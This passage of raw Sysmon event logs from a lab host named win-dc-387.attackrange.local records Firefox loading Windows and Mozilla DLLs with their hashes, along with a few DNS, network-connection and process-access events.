Firefox\firefox.exeC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000050163Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000050162Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000050161Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000050160Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000050159Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000050158Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000050157Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000050156Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\usp10.dll10.0.14393.3321 (rs1_release.191016-1811)Uniscribe Unicode script processorMicrosoft® Windows® Operating SystemMicrosoft CorporationUSP10.DLLMD5=ACF31D492FD578C0374EB20CC393BE98,SHA256=D49ECA60A94B30DB87CDCEB36F284D273E080E8689E4B0F99D5BD44FFD117A92,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050155Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 734700x800000000000000050154Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\avrt.dll10.0.14393.2969 (rs1_release.190503-1820)Multimedia Realtime RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationavrt.dllMD5=8EC9E2490A9FFA637115F758B22FFF78,SHA256=1A3295CBF09E9367CCE68505D949D724FB9B66B4516770B7D594273C3BCFC5B8,IMPHASH=F266C00A61E480BB0A81B1A89DB30014trueMicrosoft WindowsValid 734700x800000000000000050153Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.669{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000050152Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.653{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000050151Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.653{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000050150Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.653{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000050149Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.653{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000050148Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.653{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000050147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.637{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000050146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.434{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\MMDevAPI.dll10.0.14393.4169 (rs1_release.210107-1130)MMDevice APIMicrosoft® Windows® Operating SystemMicrosoft CorporationMMDevAPI.DllMD5=CF179D8A655703FDD273891432EBF588,SHA256=722863E48713AEDC9E7EA95C181CAAA389B147BCE51A7E815F0D4189AF92B6E8,IMPHASH=A9DFEC2D392C78A08CC45D2B95165EEAtrueMicrosoft WindowsValid 734700x800000000000000050145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.325{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nlaapi.dll10.0.14393.3808 (rs1_release.200707-2105)Network Location Awareness 2Microsoft® Windows® Operating SystemMicrosoft Corporationnlaapi.dllMD5=63EB5F68082B8C8C392E5DAC1D4EC678,SHA256=58EC364601FA6FE26525D8ADB44B7EDEFCFB73E72897C77B6E37F73E1C7BF871,IMPHASH=0B7F4620EB804B43452C1AFA5341A2C2trueMicrosoft WindowsValid 734700x800000000000000050144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.309{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winrnr.dll10.0.14393.0 (rs1_release.160715-1616)LDAP RnR Provider DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationwinrnrMD5=B0DE13ABF238AB28E963629B977A012F,SHA256=43288C8A658C2F0CB0CB1C9D874506D6CEEF455AAB68CE2EF0D685DE8E3BA0C3,IMPHASH=77C2BDF68EAD031D294626FB2F3033A1trueMicrosoft WindowsValid 734700x800000000000000050143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.309{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\NapiNSP.dll10.0.14393.0 (rs1_release.160715-1616)E-mail Naming Shim ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationnapinsp.dllMD5=71514D9A6350A37B4F0BAA6ACB751771,SHA256=5DB99D6784900D85BB4A62E9F40B4EC628054D41B38A5E93F80C7A8BB066EBBB,IMPHASH=8D3297F500E5144336C044019A1ACFD4trueMicrosoft WindowsValid 734700x800000000000000050142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\psapi.dll10.0.14393.0 (rs1_release.160715-1616)Process Status HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationPSAPIMD5=1AF6CD8B7CE4A852F67AA98C71AA1D26,SHA256=EF0DE008500A8C9C7908383AF11AE55845EBBE28C96C013EA720950BA89D3D28,IMPHASH=A90D5BC867A86FBF8F4557CE6F216093trueMicrosoft WindowsValid 734700x800000000000000050141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\KBDUS.DLL10.0.14393.0 (rs1_release.160715-1616)United States Keyboard LayoutMicrosoft® Windows® Operating SystemMicrosoft Corporationkbdus.dllMD5=974F03FF3BDB6786F890329340E29CFF,SHA256=D02BCC19AB89EE188DD31D17DEBAECDE26CFC0B30B6E5B0CC5889CCC85202E63,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000050140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000050139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.294{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000050138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.590{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000050137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.278{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\avrt.dll10.0.14393.2969 (rs1_release.190503-1820)Multimedia Realtime RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationavrt.dllMD5=8EC9E2490A9FFA637115F758B22FFF78,SHA256=1A3295CBF09E9367CCE68505D949D724FB9B66B4516770B7D594273C3BCFC5B8,IMPHASH=F266C00A61E480BB0A81B1A89DB30014trueMicrosoft WindowsValid 734700x800000000000000050136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.278{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\setupapi.dll10.0.14393.2608 (rs1_release.181024-1742)Windows Setup APIMicrosoft® Windows® Operating SystemMicrosoft CorporationSETUPAPI.DLLMD5=8EEA3E9E124AC395915517588723F12E,SHA256=ED63B8F0079069271F46EECCB4B0CF384D02BD1E18FE3BA635A0C0B1284B2CBE,IMPHASH=5910ADAAC44A92AFA6ED871531949CEEtrueMicrosoft WindowsValid 734700x800000000000000050135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.247{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 734700x800000000000000050134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 734700x800000000000000050133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.247{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\xul.dll92.0-FirefoxMozilla Foundationxul.dllMD5=3766950EB9C04428A9C737E569AC7ED9,SHA256=FC3E8D58FDB3000E92E0A62E044B2391BA002994935B04E39A1A3AF219102451,IMPHASH=0CA4B93436FFED8B6671051BFC088C43trueMozilla CorporationValid 23542300x800000000000000050132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.481{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1F3AC45E33044B01E7E88C811B9985E4,SHA256=E2C5D0E8F99F4ACE607C0254429DE348ECCD6F0C61AFA69080282C25BACD9309,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000050131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.474{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59510-false10.0.1.12-8000- 354300x800000000000000050130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.583{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local52985- 354300x800000000000000050129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:20.552{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local52988- 734700x800000000000000050128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.419{7BD73061-728D-613B-550B-00000000F001}208C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000050127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.419{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\directmanipulation.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Direct Manipulation ComponentMicrosoft® Windows® Operating SystemMicrosoft Corporationdirectmanipulation.dllMD5=EA7CE188E0D1E66C361C8B87304EACDE,SHA256=9ADCA2B7554173A0FD8833F65935C151B09A5D790F46E9EC4EE25E9622F1159A,IMPHASH=D9F27AFFC8B05CE56A2B9B9CD5B4C9B5trueMicrosoft WindowsValid 10341000x800000000000000050126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.419{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d6162|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.419{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.419{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\twinapi.dll10.0.14393.4169 (rs1_release.210107-1130)twinapiMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.dllMD5=40E4471EAFBC1AB4D40288BF005AB895,SHA256=E93454095918346B3426D55704F02DF6FBB1B840BF969CE619E3F10BA0AC9A44,IMPHASH=BE2A18E7131BB697F5E7CE37E2AEC582trueMicrosoft WindowsValid 734700x800000000000000050123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\lgpllibs.dll92.0-FirefoxMozilla Foundationlgpllibs.dllMD5=269AB2EAD217B029964A404AA6274B7F,SHA256=4EC20AE6993C89A577E13B64EEAD560E680FBC22B0398E4F747E24338DAB4E3A,IMPHASH=451AECEA9F58042E76D96A82BE2804FAtrueMozilla CorporationValid 734700x800000000000000050122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000050121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000050120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\wsock32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Socket 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationwsock32.dllMD5=9471D5E2FEDF5552440BF935143DFAB0,SHA256=B489197F05EFFFB17F10FA9942DB88100C86BEB8291F9ACC8EB38BEF751BF90D,IMPHASH=6D33A1BDF842DEBFB889C44A830190E7trueMicrosoft WindowsValid 734700x800000000000000050119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 734700x800000000000000050118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000050117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:23.403{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla 